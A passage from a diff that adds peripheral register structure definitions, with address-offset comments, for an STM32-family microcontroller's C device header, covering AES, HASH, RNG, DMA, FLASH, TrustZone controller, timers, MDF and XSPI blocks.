key register 7, Address offset: 0x3C */ + __IO uint32_t SUSP0R; /*!< AES Suspend register 0, Address offset: 0x40 */ + __IO uint32_t SUSP1R; /*!< AES Suspend register 1, Address offset: 0x44 */ + __IO uint32_t SUSP2R; /*!< AES Suspend register 2, Address offset: 0x48 */ + __IO uint32_t SUSP3R; /*!< AES Suspend register 3, Address offset: 0x4C */ + __IO uint32_t SUSP4R; /*!< AES Suspend register 4, Address offset: 0x50 */ + __IO uint32_t SUSP5R; /*!< AES Suspend register 5, Address offset: 0x54 */ + __IO uint32_t SUSP6R; /*!< AES Suspend register 6, Address offset: 0x58 */ + __IO uint32_t SUSP7R; /*!< AES Suspend register 7, Address offset: 0x5C */ + uint32_t RESERVED1[168];/*!< Reserved, Address offset: 0x60 -- 0x2FC */ + __IO uint32_t IER; /*!< AES Interrupt Enable Register, Address offset: 0x300 */ + __IO uint32_t ISR; /*!< AES Interrupt Status Register, Address offset: 0x304 */ + __IO uint32_t ICR; /*!< AES Interrupt Clear Register, Address offset: 0x308 */ +} AES_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + uint32_t RESERVED4[7]; /*!< Reserved4, Address offset: 0x84-0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + uint32_t RESERVED5[7]; /*!< Reserved5, Address offset: 0xA4-0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + uint32_t RESERVED7[7]; /*!< Reserved7, Address offset: 0xD4-0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register, Address offset: 0x10 */ + uint32_t RESERVED2[59]; /*!< Reserved2, Address offset: 0x14-0xFC */ + __IO uint32_t SECCFGR[32]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x180 */ + uint32_t RESERVED3[32]; /*!< Reserved3, Address offset: 0x180-0x200 */ + __IO uint32_t PRIVCFGR[32]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x280 */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO 